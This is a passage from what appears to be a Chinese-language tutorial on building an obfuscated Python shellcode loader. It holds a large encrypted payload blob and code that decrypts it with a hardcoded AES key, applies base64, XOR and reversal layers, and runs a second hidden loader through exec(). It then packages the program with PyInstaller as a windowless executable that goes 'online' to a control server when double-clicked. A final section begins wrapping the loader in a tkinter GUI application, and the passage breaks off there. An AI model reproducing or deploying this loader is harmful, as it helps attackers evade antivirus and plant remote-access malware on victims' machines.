xd1$\xee{\xab\xbaV\'u\x02\x8c\xdcz\x88n\xcae&,\xf7\xd5\xa0\x1a\xb5s-\xa1\x7f\x8fd\x9f\x08>T5nKR7\x0e|\x8a\x95\xb9i\xb6]v\x99\x1a\xd2\xb5\xf3){U\xae\x14\x9c\xb0\xdc\x86\xc9M\xcen\xfcvF\xafT5\x9d\x91V\x95z\x1d\xb8A\x01\xe3\xd2U\xa3\xca\xb4^\x10KgO\x84\xb9\x8e\x0ct\x9d\x1a\xa3\xe5\xfc\xf6\x06\x89\xce\xdd\xb1BE\xc3\t1{\x91\xd2\xb3\x08L\xef\x96i\x87\x00\nr\xe7\xbe\xb8\x10^D3l\x86p>\x0bV\xe8\x18\xb0\x8fl|\x8eW\xed\xaec\xb1\x18\x80\x84\xa2\xb4\xba\x880\xaaS\xcd\x03\xb4\xc9r\xb4(\xa3T\x82<\xc7\x044g.P\x81>\x81s\x94\x971\xb4\x0f\xff\xbe\x1b#)1\x81Y\x83?\x85T|\xd3\x90\x04\xa4\xd2\x93\xce\x1e\x1e\xde\x87@${\x07\x1f\x86\xea/\x88_\xdbm\x83?~\xdc&Z\xa0\x15\x92\x1a\x90#|`+\xa1\xdd\x0ey\x83\xc0\xb5\xa8<~-Z^\x99\xb93\xd9\xed\x1d\xc3\n\xa4\xc4\xaa\xf2N\xbf2\xfai\x00\xb2b\x802\xb5\x90\xc3\x1d\x8bk\xc4\xa9\xcc\xc2\xed\x89\x1a\xcff\xff\x96H\x93\x80~k*\xf716\xb9\xdfa\xbd\xd67\x7f\xb2/\x94\x88.\xe3P\x7f^\x97\x0e`\x05^%\x8c7\x84\xd4\xf7F\x91\xed\xbf\xfc\xe23/mt\xe2i\xf3\xed\x08\tG`U6==\x8f\xad;\n#B\x9e\xdc\x00b>\xa2\xf1\x0f8\x86\x0c\xf8\xf6\x91S\xc4 c\xc2\xb5\x85aB\xe8u\x83\x84\x91w\xfd\xc1\xb9\xaf\x17\xffJ;\xfd9\x19\xdbX\x816\x12\xfe\x868|(\xec/\xda\x06\x93g\xed\xc3FW\x84\xa0\xe4\xca\xbf\xd8\xac\x13\x0f`\xca&\xf6\x94`\x999\xd7_\xcd\x9f\n\xfe\x9b\xb2\x86\x88\x16\xcb\x0b\xa4\xf8|\xdb\xc25&}\xddz\xe8\x99\x93\xb7\xaa\xf2\x85~\xc4\xae\xa7+J<\xd4\xdd)\xb7S\x90\xc5\x1e\xdf\xb6c\x1c\x01\xf9\xd3\x06\xa0\x98$\xf2\xb6\xb7\x01t.\xfdq\x93\xf3SCo\xaa{U\xedu\xf0\xd7~AX\xa3\x82\xb1\xcf\xd5\xba\xf7\xad\r%\x07NK\xcc\xb5\xcb\xf7\x11\xben\xaf5%\xfdZ0\xcf\xe1Gn\x89\xd52\x0f\x0b\xaf\x95\xeb\xfe\x81f\xb2\x034\x8a\x89\xb5xm}\x93\xcf\xf0lF\x07}/\xaa\xbe\x83\x92\xed\x9a\x04R\xa1\x9f?\xaf\xc9\xf9\xd0$\xfd/n\xd09Z\x10\xdar]-|\x92\xe3K2y\xe2\xa9d\xa5\x89i,>\xbe\xfa\x05X\x8f\x87\x14{M\x8c\xbdpL\xb6\xe2L\xf2\x00+\xd7\xba\xf0\x82|\xa7\xefB\xef(^u\x9b\xdc\xf9O\xf0\xcb\xe0Z\x96\xb6\x8d\xf4\x18<i\x17\x02\x1c\\a\xb1\x11\x95D\xad\x0cb\xfe7\xd1\x90\xfc\x81\\)\xcc\x81\x1d\xe6\xccI\xb1\xeb\x08;\xa1\x1c\xf3^,+D\x9e\x83}\x12K\xfd\xa8\x00\xc6\x8e\xde\xd4\xcb&\x04\xf3w\x06R\x01K_q\xf3y\xd9\xc2.\x8f\x95YD\n\xe1L_*\x9ddG\x94;\xd3zc\xe7\xea!\xcd\xd2\xd1\xe4\x0e\x15\xbe\xc7\xdb\xd3\xc8\xd2\xfb$T\x92\x97\xc1\xab%3\xe7\xcd\xd1\x80V\xab\xffE\xc1*\x9aI\xf2\xf5\xd0G\x9e\x9be\x85\x1c;-(\x9f\xbc[\x81m\xb3\x84i\xbc~\xb0$\x1c<\x9d\xff\x9d\x82\x0bN\xbe\xedt\x177\xa4%\x8dP\xe3\x96<E\x15s\x8cW\x02\xf5\x0e\xe4\t\xf1\xbbQF\x82\xec\xf0\x82\x07\xe19\x97\xae\xc8\xdc\xd1\xab\x93=\xbf\xfd|\xcc\xbdv\x929@\x0c>T\x94\x13\xbcM\xc6\xd73\x95\xfd\x83R\x12\xc2;>\x19*}\x1d\x84!hi\x1dK\x06\x89\x82\xe5\x8fi\xb5LQT[O\xffP\xf79p\xb4B\xdcL\xb7\x13\x1c\xe4H\t\x1c\xc0\x02\xb57\x11~\xa1\x01;53=\xbb\xa9\xfb\x86\x91\x05\x12{\xb9\xcc\xb6\xc4s\xdd\x8d\xf5z\x11\xbc\xb3\x8b\xe3"3\xf7\xaa\xfa\x7f\xcaf\xf3\xb8\xd2\xa7\xbd\x10\x19`\x10\x94#\xa8#q\xe3\xee x\x91\x9ax\xf8\x9c\xfd&\x12r0\xfck\xce\xe3\xd6\xf0\xdb2{\xd1\x96\x1e:\xcf\xbav\xbbs}\xb8.\xcct\xca\xb4\x01\x96\x0c\xa7\x15c60\x14\x8d%\xe4#\xc95\x97\'\xa1)J@\xa2\x90*[\xee\x84\xe5-d\xb9s\xc2\xc8\x05h~\x87T\xe4{\x197\xb5\x01b\x91q`\xc3\xbd\x9e\x1e\x8f\xef\xa2\x84:\x9c\xff\xf9\x91\xec\xb1;4\xffE\x07\xea\x7f\xbcL\xfb\x9f*\xf1\xc6\xf5\x9b\x1d\xb3\xe8?\xf6a+!\xef\x0fvj\x9f M\xdf\x88\x03]\x85\xee\xa4\x8f\xff\xdd\xf5{\xda\xc8\x88\xbf\x1b_\x18\xac"k\x8d\x84\xba\x067\xb6,_\x93\xc7\xe8\x02T\xed_\'M\xc5\x05-\xe9C\xa1\x04\xc4a\x9a\x92\xd38h\xeb@\xa9\x85\xec\xe7 \x97\xb0SY\xd9\x8d\xd0*\x99\x13A\xee\xce\xed\x06b\xa0\xea\x8e\x89\xfb\xde\x87w\x14\x8bqQe5\x00\x82hB\x0c[\xec\xde]\xc6] /\xa9\xe8\xb1I\xa1/\x1e\xf5J\xf1\xfa\xc6\xafw\xac{\xe0\x16u\xfaU\x82\xf1 rv\xc0\x9f\x01\xa5\xdd\xd0&\xddc\x90\xab\ny\x8c~\xfd\xf0\xda\xf9\xb1wT\x89\x19\xe7\xac\x0b\xac=\xfcp\x18\x1et\x1eH\x03\xaa\xc2\xb5T\xee\xb7\nMhu\xc3E\xeb\xf2\x03\x91\xbf\xde\x19W)#\xf2\xc3\xc4#\xa8n/\x17\xf7\xd2\xe6\xa8\x91\x1f\xaa]\x8a\x14q\x94\xfe\xf1.\xec3\xa8\xbf\x0f\xda;\x8a<\x9fq]l\xf9\xc2\x89\xe5W\x16\x97B\xdc&_\x88\r\xbc\xa0\xa5\x81\xf8W\xd3\x017\xa1\xe1\xec\x8dFk\xb3\x11\xce|\x1d2\xef2\x9b3\x9aL\xc1\x0b\xbe\xe3H\xe0B\xb6\x00\xd00\x92F\x07\xeb\xc8\xa6o\xceW\xcf\xe7X\x9e\xfc\x05;\xa2N\xc6\xb2\xd5\x11\xf0\xda\xe8c)X>\xdf\xa7-\xf0\x91\xd7ng\x88/4\x1ch\xe3_q\x90\xfa\xa9\xea\x12\x9b\xdd\n\xb3\x91\'\xba\x13\xf3(\xb2\xe5\xcc\xf2\xc9K\xc7\x8bB\x85\xb6A\xdc)+g\xe5Fa\xc3p\xc5m\x9c.\xc7M\x8d\xa5e_$:o\x9c\x84&6Y\xfdO\x12\x1b\xd1\xd5\xbe\x15\x851z\x86\xac\xe6!\x1f\xbeB1p\xbe\x7f\xaa,\xe3\xc5\x95\xa4:4\xe8\xa6d\x97\xfa(\xc1#&\x10%\xe1m\xd3\xd7\xbf\xd5[tm\xa1\xeb]\x87I\x89\xdd\xa6bO^E\xd4\x8aj2\xe2fs~\x17M\x04{\xd9\xf5`\xeb-k\x9b\xb6(\xfe.\xd6/\xe7\x82VN\xed_\xb9I\x16\xd6U\x16\xd2\xf5(\xad\x8e\xc6\x07\x99\xfa\x05\xde\x9f\x1f\xee\xd4\xb7\x7fO\xb6\x8e\xe0\x1a\x87VH\xc1\xde\xc7\x99b\xd3\xf8T\xc8\xed|\x907\xcc\x1a\xb5M\xf54Z\xf8D\x00\'\xef\xc0\x90\x85\x89\x7f6]>x\x1e\xf0p\x07\n\x89\xd4\xe1\xddO\xab\x806_\xa1\x86\x84)\xdb8\xea\x0b\x1d\x83\x1d\x19\xb2F\xb9,l\x01\'\xb0L\xcf\x99\x92\x156U\'3G\xe7I\xae\xb5\x1b#\x8e\xc5\x07\x0f>\xe3Q`\x02P\xcd\xfa2\x0b\x130i\xe4\x0f\xf1/\x80\x0c\xdc\xd9~D\x17<f\x8bQ\xb3\x94\xd2\xb6\xc0\xe0\xdd\xda\xa0\xe2\xbc\xf4(\x82\xbc\x8fZ\xf2 \x14J\x15\x1c\x89\x0f\x8e\xaa\xaaJ\x08\xceni\xa8\xbaQLh\x9bRL\xe7\x1f6\xd5\xe7\xa4`\xe9\\\xc3\xafy}\xb1\xb7\xc6\x8b\xfa_\xba\x9a\\\xa3?n\xb6\x1fME\xd05\xa5\x06\x8a\xe4\xd1\xc4\x91\x90\x14T\x02\x06\xf8\xf8&N\x85\xe6\x86\xc7\x8a\xb5J\xbf8\xa0\x81\x13w\xe9\xa9^w\xa5\xbb\x9c\xda\x88(d2\xd8\xa3i\xc6M\xba;\x16\xcb;Y\x05p\xa6\x7f\xe8\x86\xa7I\x85\x0eg\xfd\x8c\xb8aS\xe9\x04\x0c\xc0\xbcKZ\x17\x04\x01\x1e?\xa3w\x13\xefp\x96\x92\x99R\xae\x13.\xce\x928\xec\x18\t\xd2y\x86\xbe\xad\xb3\xa4\xce\x9d\x19\x89\x9e\x0b\xc1\x95\xe6\xbf\xaa\xdf\xea\x1a"\xfaJ\xf2GI\xcf\x0b\x85\xa1d\x0fq\x91<\xdbhG\xc5\xec\x16\x8f\xdaj\xdd\xba\xb3\xca#\xfai\x12\xd8\x10\xe7\x15\x15\x86:nE\x14\xd5\xa2\xa4\xf7M\x8c\xdc|\xaf\xc9~\x8a\x8bVr6\x98\xf8\xd3\x9eJ\xf4P\x1c\xa7\xa1\x9e^@J\xac\xceW\xaa\x9a\xd3\x18\xb20\xb1\xbe\x18r\xf1 ] ~\xa5H6I3C0\xb0d\x1b\x17\xca\xfe\xcf\'\x19\xf9PWd\xee{\x95?\xe8<,Q\xf6N\x16\xbe\x83\xfdK\\\x14\x85k:@\x0c\x14\x96P\x9d\xc7\xaf\x01\xba*\x9e\xe8y,\x0c\xd8\xcb\xedo-`G+=bL#\xae ;\x89S\'\xb9\xa0\xc5,\x1af}\xb5\x0b\xd6%\x8aC\xe1\xe6\xd8\x8e\x16\xcc[\xf6\xe1\xdc\xf9U;c\xa6\t\xb5:\x91\x1a^@]\xed\x11._D\x00\x16\xfdM\x86~\xcbw\xf2M\xd0\xad\xc7\x89u\x8c\x87\x17\xa2\xfb\xa35\x8cK\x02f\x04\xb7"d\x7f-\xd1I\xf8\xd9;\x0f\x9c\x88\x04\x07\xe2\xf3.&T\x99\x9b\x93\r\x8b!Z\xe6\xd6\xf5\xe8$\xc3\x84\xa0\x8fQH\xbe\xdb\x12o\xc5\xc7\xd5T\xf1\x1b\r\xb8\xa0\xd4rZw\xecL\xfd\xbc6\x16i1P\xd6\xe5\xd2(\xa4\\3\xfb\xfa\x9165\xab\xa3\xa1\x0bj`\x97\xcc\x90\x1avE\x00\xda\x8c\xe6\xc5T\xc8\x04L\xb6\xf4\xb6g\xc8\xe6\xb4\xf1\x87\x99?K\x03B\xc3\x89+n/\xbe\x7f\x80\xea\xc3\xe3\xf4\xe9A\xe1\xf2\x13\xe0\xf1T\xa0PQEQ\'\x02#B\x88\xe2\xf0\xc4\xdd\x9b\xe5\xcf\x83\xbc\xb8\xd5{\x92\x05u\xc9\xc3r3E\xdf\\2F\xad\x13\xbay\xf1%\xb7H@\xf9\x07\xf8"\xc1\xa4\xdd\xac\xe06\xc7\xa1f\x0c\\t\x9cO!e\xa3\xf4"\xf9\xa6\'\xa2\x87\xdf+\x12x\xd1r\xbb\xaf\xff\x84\x1b+S\xfd\xd09\xefB3\x8c\xd8\x03\xe6w\xd4\xfaS\xcd\x1df\xd9Z\xdc\xe8\xa9T\xb9\rr\xab\x92\xfen<.\xc1%\xd7Jz;J\xd8\x07v\xae\xca\x0b\\\x1cpim\xff\xd3o\xc7`q(\xaap\xcc\xc1Y2JN\xbb}\x8eY\xbc\xa9X\xb9\x1a\xb2r\xc5Z\xe9\xe9\xa8\xa8N\x9a\x8e\xf9\x9eEax\xe9OF=ZI\x06\xad\x91~G\xd6\x1c{_aM\xef5\xa2\x03\x93\x8eA;\x17\x1d\xd4\x8c}\x15\xd3_Z_k\xb1Z\xe4\xbb\xd3\xf0\xde+F8\x8e\x9b\x03\xcc\xf1P\xe4\xf8S\x18\\F\xfb5\x16Ui\xf9\xa0\xf0 \x13\xd0~\xe3}\xed\xd5\xc9u\x8c,+3\xce\x07\xe2\x15\xd5K\x93[\x11\x0c4\xe8y\xf7\xea8\x93\x0e\xec\xa8\xf0\xb2\x91\xd1\xaec\xfc:\xe0\x07%\xbci\xf9\xd9\x85\\\x8bD\xfb\x93\xb9\r\x87 \x18\x96|O\x0eBU\xeb.\xf4\xf3c\xb2\xd8\x11\x8e\xbe{\xa0i\xfe\x01\xb9a\x0e\xb9\x18\x1b\x19r8\xf7\x93M9hi\x82\x1f\xbd\xb3\x02*\xb0!v#\x88\xa8\x1e\x00\xbfKJ\xd5;Jo\x15\xcf\xac\x91\xec\\\\\x17X\xd5\xbb\xe9\x1a\xa3\x7f\xa2^v\x99M\xbb\x96\x90\xa9\xbb\x08j\xda\x966\x82{\xfb\xf0Rw\x05\xd3|\x9b\x85\xef\x7f\xb3#\xa2\xe8k\xdb;=L5\x86\x13R\xc7\xf9j\x16\xd7\x94\x16f\x1d\xae\x17\xd1\xf2\x9f\xf5\xcb\xde.\xc0L\x88\xec\xc0\xd4\x15\xa2j6\x7f\x8ef\xc6\x1e\xb2\xff^\x1a\x1d\x9f\xdd\x0bA\xbc\xc6\x86\xb3O\xf5\x93D\xcc<5:\x8dK\x8a\x02\xc07S\xb9\x00\x1e\xb0\xfe\xbf3\xec)\xb2\xd3\x1b\x88\t1\xb0\xa0\xce\xb2\x1cA\xa9$\x9bw\rh\x89\x7f\xa7\x89\x06}\xc9\xc1k\t\x1a\xcf\x0b\x7f>\x87\x97b$FM\xaec\xcd\x80\xd8-\xcc{N\xbb\xee\x1d\x8bm\xa9\x8a\xb0\xa9b\xe7\xf75\xbd\xf5\xd6\x12\x7fm\xbd\x01\xb2\x96!\xbcv\x078\x97\xc07\x82\xdb\x8d\x95\xe7\xedoN\xb4b~\x99\x038T}u\xb6\xe5\xa2\xf1Uq\x1b\xef\x85\xeb7\xdc\xd5\xf8\xe4\xc6\x96E\x1f\x9f\x11>\xa5\xbf\xe6\xc5\x12\xca\x1bmv\xd0\tg?}B\x85\x11\xfdlXk\x96\xe4\xcb\x90|\xe8\xcb\xb8\x0b\xb2n\xe2\xf87}\x92\xc7R\xf8\xaf\x01\x16E\xec\x13\xca\x89d\xbb\x05N\x112?F\xb4\tq\xe4 \x8ep\xa6pAX2g\x10\x9f\x19\'\x17\xf2\x12o\x8c0\x7f\xb9\xdaxsX\xff\xe8\x931\x8d\xaad\x8c\x89\xf8\x1dl\xee\x13M\xaan\xa23\xafL\xa0\xb2\x95\x172/Xk\xe2}v_\xbc\xf2\\\x9f\x9c\xea\x9e$\xea\x015^\\)\xa4\x8co$\xcd\x9bEf\xd1\xab\r\xec\x00\x1d\xecg\xa0\x98t\x0c\xd0\xbe,p\xda\x86\xef\x95\xe5\x96\x9a:\xb2.(G\xa9\x9e8\xe2\xa5>x\x95\x9d\xbe\x0e\x89\xdf \xcb\xed\x18\x1arh\xdf8@\xf3\xec\xd2t\x8d\x15w\x11c\xaa\x08\xc4\xbe\xc9\xdaK\xf9y\xb7\xbe\xe2\xafgq\xd0\xa2(\xca\xe7\x1d\xd4\tS\xe2\x04y}\xa1\xdfVmhg\xc5\xe1:*O\xd9\x9a\x13\xa2\xd8_\xacd\xbd\x1ds\xa8\xc9\x89\xc4y\x08\xb1\xf8\x89\xa7\x05\x15*s\x03\xff\x9a\xcb:D\xe3\xecM\xf1\x0f(`\xa9J\xf9b?\x91\xfb\x0c\xa6\x85D\xdc\x82\x8a@\xa9{\x1d\xa5\xba\xba\xa5\xd6@\xb3M\xeb\xd8\xf0f\xed\x05\x90\xed\x0c\x85+\xb6\xbe\x90+\x80\xfe\xd2\x14\xad\x90\xfb\x83P\\\xc4o\xba>\xcepQ.\x83.\xb2\xc2kA\xfc\xc1\xbc2\xa1\xb2\xfc\x14\xa1\xb2\xd0H`{\xcc\xa0G\xa8\x17\x16\x85\x04\xff\x07E\\S\xd5\x86!\xa4\xb4\xa3\xfc\xe7\xe5t\xada5_|\xf6\x85\x00s\xd5\xac\xe3\x1f\xb0\xfam\xab\xf2\xb8\x1e\x05\xa6\xb2mIs3\xebF\tg\xac\xc4Vf\xca\xa6\xca6\x00iu|\xf3i\\a\xd3\x01s\xcc\x16\x88\x12\x19\xfa\xd4!_NT1\xef\xca\xf2@4\xe0o\xda\xb1?\xc0yA\xb1\x1a\x0e\xf9\x1e\xc1\xc7\x83\x16\x81J\x8f\xbb4\x8a\x11\xd9\xf2\xe6l\xd0ICA\x06\xe4\xb4*\x0e`{\xc1\xe5\xf50\x16\x85lk\x18I\xb2\xf7\xc4Yq\x1b\xc3\xe1m\xa3\x93\x94\xa5`(\xfb\x1f\xe2%,\x9b\xeb\x8f]\xb1\xea\xa8{\x89N\xf2\xed1\xe7a`\x94\xfb\xedq\xa4H\x12&\xae\x86\x99c\x7f-\x14\xdf-\x0bO\x8f\xdd\xfeq\x05\x8aA[a\xb11\xaac\xa9\x1b\xfc\xdcUN\xe2Z\x0e\x81k4\xf1\x8e\x1eK\x96_ \x991\xf7\xd5\xa3\xae\xde\xf0\xbe[`\x94\xaf\x08\xd7\xc3\xf0x\x89\xd4\'\x02\xa9\xf2\xa0\xfa\x8b\xcd\x94`\xeb\x18L&C\xd2\xeb\xe4\x80\x0c\x95N\xf6Up\xe4\xfc\xbb\xdfS\xb7\xfe\xca\xb6\xbeN<\xeft\x9e\x02a\xbfw4Y\r\xbd~\xad\x1b6\xe3F|\xe9s\\\x98F@e@+\x8b\xc8\x9a\xf8\xe1\xa3\xf8\x9a\xd6K\xeb\xa9|\xb3\x97\xd8G\x14\x19\xc4\xb9\x06\xf4\x1c\x17\xcd\x08~\xcap\x06\xa9\xb5h\xfdZ\xd6\x97\x00\xb7\x85\x1d\xa5P\x00\xe0\xe6\xef_zOJ\xeai\xa9\x18fu\xa5\xc1\x1e\xe1]\x94\x7f\xca\xf3\xbd\xb1\r\xe34\xf6y\x86\xf5\x18\x9fLya6\xb4Qp)\x8c\xf3O\x7f\x91\xddi\xc7\xf0\x0c\x11\xc1\x08\xbd\xb4d\x81\x802\xf8_\x02\xab\xb7\x10\x8bS]Y\x198\xa5R9\x17\x88\xffZ\x9f\xf16w\x11\x04\xd5\xeci\xf4k~\xab\xf7x\x13\x90\x0e\xa0K+\xa66\x95W\xff\x9c]t\x04{E5\xb1\xd3\x1a\x14v8/M\'@#\r\x9fs\x97|\xe8\x10!M\x11\xf7Pg|\xf9Z9\xd8\xa1V&nW\x800\x16M\x11\xb4N\x88)\x992|\nJ!G\xd4\x9d\x9e{,\'\xb2p\xa7"\x1bR]Z\xe7\xed\x19\xad;YT\xd8\xb2.\xee\xea\x94`\xac\x07X\xc0\xf9\toi\xccx\x07\xcaW\x04\xf2|\xb4e\x7f\xbb^.\x9c\xd7\xb2{\xce$\xd3Sxp\x81\xb7\xa9\x1d\x14\x88&\x9cb=\xc0rmzn\x8fM=\x1bt\xbe\xcb?\xe0\xdb\xff\xdcn9\x16\xbbnk`G\xc3\xf6$\xf3\\\x80\x1eF:b\xf4\x9fd\x96\xb7\xb5\xc5\x9b\x9f\xc7?\x03N\xdf<\xfa\xd5*\xc0I\x0e\x10\x16\xadi$\x1a*C\x8d\x82|\n\x02;\x90Nq\xf5\x92\xf1\x05KN\xb0G\xd7^J\x803:\x98\xb3m=\x95\xaeIc\x9a\x19\xe1\x83\xbeK\xcdf\xa8\x84\x7fg\xd6\x88\x96L\xae\xa2\x1a\xfe#d\xdb\x05\x17X\xc7\xecGA\xa9\x86\x88 &8\xe9L\xd9j\x86BgJ\xda\xcb1\xe2\x8e\xa4\x83\x1f\xf1C\xa6;\xcd\x0f\xf6\xeax\x8e\x9e\x8d\xf0g\x89\xb9\x88\xdcoK\xa7\xf4\xd0\xd36\xe1\xd4\xad\xa5-\xd5\xdd\xbd\xba4g\x14\x9aoeL\xf0\xbe\x1b$\xfc(\xd4\xf2\xe7\xd5\xb1\xd4\xa8\x9es[\xe1\xb9\xf3\xa4\x08\x9a(\x95\x82b\xe6zl\xf1I\x8evC\x002O\x89\x80\xc1\xff\xc8\xb3/g\xe7\r\xd8\xc9\xd3\x8f\x8f@\xe9\xff\xf2\x93o\x9c\xa03,tP\xe3\xa5@\xc7\x0f\x95\xae\xbf\xd6\xd7\x01\xe1\x84H\xeb\x80\x91\xb3\xa5\xf8g\x81\xed\xec^\xcd\x0b\xc6\x1a\x00uk\xabt|!\x07[\xec\xe1vQ\xee\xf5!\x7f\xfa\xf8\xa9\xcf_4{\xd9\xe6\xa6w7\xc3\xa9\r\xa1J\xdcDJ\x1f\x87!v/\xd6\x07H^\xc5\x80\xb8\xdfdpi\x08{S\x90g\x04 \x95>\xec\xf9\xf6\xd2\xf2IZ-h8z\x16\xd2`\xecK\xab\xcd\x1e\x97\xfa\x1c\xc3\x85 \xe2\xc8yZ\x84\x8e\xd9`\xf3\x8c:\xac\x00\xc7\x83\xdcW$\xa5\xdc\x9a\x95\xc8\xcc\xbb\xa0\x00\xf9\xf7\xe9#\xc6\x90Wuw\xcb\x98\x08(\xddy\xcd\x0f!\xdb\xed\x13<\xf1a\xd0\xe9;\xdd~z<\x944\xdd\xcb\x99<Ct\xef\xc8\x05\xed\xf7?\xf2\x17\xfd.F\x1f\x0c\xa9\x80(fA\xa6F\xd1\xb7R\x89\xb5\x90\xd0\xcah\xe7\xf4\x19\xb6\x9at\x86\x8aD\x17\x89\xa3\x8fI\xa59\x16\x1d\xd4N\xea\xe6\xb8\xb0\xcf\xfe\x17\xeb\xa1\xf3v9Q\xcd\x19\xc24?1\xc5\xe43\xc1\x1e]\t\xb0\x1d\xc4\x88\xeb\xad.\xd7\xb2\xad/\x80) \xad{\x1cm!\x0e\x16T\x0cX\xa9Xhr\x87?\xa3\x0e\xc5\xb3_\x83\xac$\x12<\x83;\xab\x0fbJ\xe5\x16\xdf\xda\xa1\xce\x0e\xa8\x93g\xdc\xc9\x1d\xd8^1\xe0\x80\x18\x9e\xd0H\xa4\rU^\x00,\xaeC\xb2sq:&@j\x82\xc5\xefbN\xa4YCM\xc5\x0b\xe8\xe6\x9d\xa6\xdb\'O#\xa3\x08Z\x08\xa3\x8f\xe0~\xcf\x05\xba\x11\x9c\xcd\x837\xd7y\x13\x06+\xa6\x8c\x11\x99\xb9\x10\x1b\x10\xafCM#)\x8b\xf0%\xc6\xb1}uB\xd8\x03\xccJ\xd6r\x01z\xb5\xe2\r7\xb7\xc7W\xc5\x15\xe6+]\x9aT\\\xd2*\xde\xd5\xe0\xa0i\xb9q\xd4\x91\xd1\xb2\x87>-J\xb8\xbc\xb4F\xda\x91\xb5\x94\xf3\xec\xb2{q\xa9<K\xfc\x0c~\xca\x81a$G/\x08\xa4r\xd8\xa3\t\xc8&\xd53\xa5v\xfd\xd8|\xe0W4c\x06\rG\xdak\xdb\xa1/r\xf7\xbd\x18X\x9c\xae\xd7oO|\xc9\x138\xfa\x7f\r\xdf]I}\xe2\x05\xb3`\xdc\x086N(\xc2s\xb0\xe8\xeaSi",iH\\A\x11\xcec_\xc1\x97\x1a\x1fC\xa9\xf4\xcb\x109=Ut}\x8c\x82\x9d\xd8\xd5\xb4\xed\x14c\xde^FY\x11{Hi\xb3J\'\x1c\r6\x1b\x19\xec\x01\x961\x85\x0c\x15\x8fxo5k\xf026?\xfe\xa4\x0fO\x1a\x8e\xd7\xdf\xae\x89\xb9\xb6\x14\x873\xd1+\xc3\xd1\xe8\xc8\x96\xeeW\xe1{}D\xc34\xc3\t\xf99\x1d\x19L\xcc\x0cp\x10\x9d\xd5\x91\xd5\x92*\x82\xdd\x16t\x83\xc5\x127\xc6\x86[\xc6#k\xea\x00\xae\xdd:\x19\xf8(\xec\xd49\x11{\xca\xc7\xbd\x02u\r\x94A\xbe\xb6\x1d<\x15CcM\xf3U\x15\x1c1`\xa3\xc2\xc117\x94\x0fx\x80X\xd6\xa877\x96b\x82\xe7F\xa9\x10,\xe3S\xe39\x1fe\xda\xa3g\x8f\xe2\x04\x87\xd9\xe6\x16!C-\xf5\\8m.xX\xe9sYt\xc1\xe3\x00\x9d\xd3N%P\x88\xa7\xec\x1e\x0b\xe7\xb1\x81\xbazqp`|\x08\xf0\xc2\x10\xda?\xc4\xc6\xd3\xd3\x04\xab\x06Q-Y.B\xc0\xda\xa4-\x94!\xa3\'\xd9T\x8e\x16\xf2x1\xe9\xaa\x13\x13\xfc}\x90\x1dQ\x1d*3\x1b\xe1I-\xb8\x96\x13k\xa6Y\xdf\x9e\xc4Y\x1d \xfe6\x9a\xa1Y\xeb\x1c~\xc2\xbc\xa2\xfbx\\Z?8r\xe2\xf6<v\xa0l\x96\x84\x0c*\xc5<H\xf4\xf2\xb5\x10\xf3\x0c\xc9Cg-\xa9\xb5\x08\xbct\xeaa\xfd\x85l\x10\x93l\x87+/vdR\xa7\xfe\xf9\xc6'
if len(cipherbuf) % 16:
add = 16 - (len(cipherbuf) % 16)
else:
add = 0
cipherbuf += (b'\0' * add)
key = 'todayiswonderful-FEDCBA987654321'.encode()
mode = AES.MODE_CBC
iv = b'1234567890ABCDEF'
cryptos = AES.new(key,mode,iv)
b64buf = cryptos.decrypt(cipherbuf)
strnumbuf = base64.b64decode(b64buf).decode()
numbuf = strnumbuf.split('_')
strbuf = ''
for num in numbuf:
temp = int(num) ^ 73
strbuf += chr(temp)
strbuf = strbuf[::-1]
buf = binascii.a2b_hex(strbuf)
cipherloader = b'\xd5\x8c\xf1\xe8W\xca\xcay\xda\xf8\x8b\x94u\xfb0\xe2\x85\x9f\xb4\xc4\xd6\x87\xb7q\x94\xf1\xbf\xe5\xbd\x907~\x90\xbe\xb8\'\x82\xf0\xc7\x95\x01\x12\xf7\xdc\x1dp\xd5\x9f(\x94\x8c\xb8a:M\x1b\x86\xcb\xe6\x81V\xb5\x98n\rx\xae\x7f\xe8\xeee\x83\x82\x07\xa5\xbd\xf2\xb9\x9f\x7fy\x05S\xb0s\x9e\xf7\x92\'\x1dB\'\x10\xd7\xfe\xedj@\xc7\r\xe2\xdb\xfbQ4\xfep\xa1\xc0\xee:\x11\xf1\x80\xbc\xd4\xe5\x97)o8B\x92\\\x83\xb1p\x8f\xfbMg\xfd\'R\xde$!>\x0f\x02\xbb\xca{\xf6BLW\xee1\xf9\x9f\xec\xa6\xe9\xba`\x04\x9b\xe5^\xa3\x96\x03a\x08E3\x9a\xe8\xcc`\x87\xe5B\x99\xd9=\xf6\xea\xad_8/\x94#\xdb\x8fa\xde\xb5\x08\xd4\xcd\xd1\x88\x11\x0e|\x1f\x84Qa\xa2\x11\xed}&\xb7\x93!\r\xa0\xb4\x87a\x86\x06/\xfb\xe8\xf1\xd2\xda\xba\xabD\xad\x93\xa9F\x06v\x97\xfdK\xa3\xbe\x9b\xd5\x16\xfd\x91\xc1C1\xed \x00\x1a5\xc0~\x1a\x82\r\xed\xbd\xae\xc13Rl.&du\xea\xbc"\xb0RN\x1b]\x13\x02\xa1\x04_2\x81\xc5\xf0\xa4\xa7z\x19\xccP\x1d[\xd9\x8f#\x04M\x833\xe7\xfb\xcat\xcc\xe6\xa0\x16\xbdfuZ@\x08z\xeahj\xd6v\x0c\xfc\xe2BA\xf7\x19\x9f\x13\xc4\xb4\xe8,\xb4Px\xff\xbftk\xd7z\x03\x0c\xd9\xac\xb3\xf3\xb4m\xa1\x01N3*\xcb_\xba\x81\xdc\t\xe3\xa9\xff3\xd5\xb1?K\xed\xfda-\xce\xbc\xc3\xaa\x16D\xee\x85\xe7\xa6m\x90\xd2\x83\x90d\x8f\xad\xa2<Q\xd8\xa3\xd4\x92\xea\x9c\x92\xca\xd6\xd1fr\xb9\x1c\x85\xd1\xe3\xef\xe5/j~\xc8EdbO:\x0f\xe3\x8d\xe3\xfe+\x1d\r\xa7:\xad|\xc4s\xc2m\xfb\xf9\r\x8a\x83\r\x7f-~D\x19\x86\x90\xe0\x1f\x82>\xb8,\x0f\xe8\x96\x1b|`\xb5\xb0\xe8\xc4S\xc4/O\x0c\xd15\x9c!\x83X\x0c\x8f\xf1\xee\x8a\x1f\x8dk\x12\x17-\xd3\xf7\xb7\x02\x81\xda]g\xc2/\n\x03!\x80\xce{#Zf\xeb\x12\x82\x06]\x8f'
b64loader = cryptos.decrypt(cipherloader)
loader = base64.b64decode(b64loader.strip(b'\0')).decode()
exec(loader)
3、使用 pytinstaller 打包程序
pyinstaller -F -w Immunity.py
双击运行即可上线
四、应用开发
import tkinter.messagebox,threading
from tkinter import *
def connect():
import binascii, base64, ctypes
from Crypto.Cipher import AES
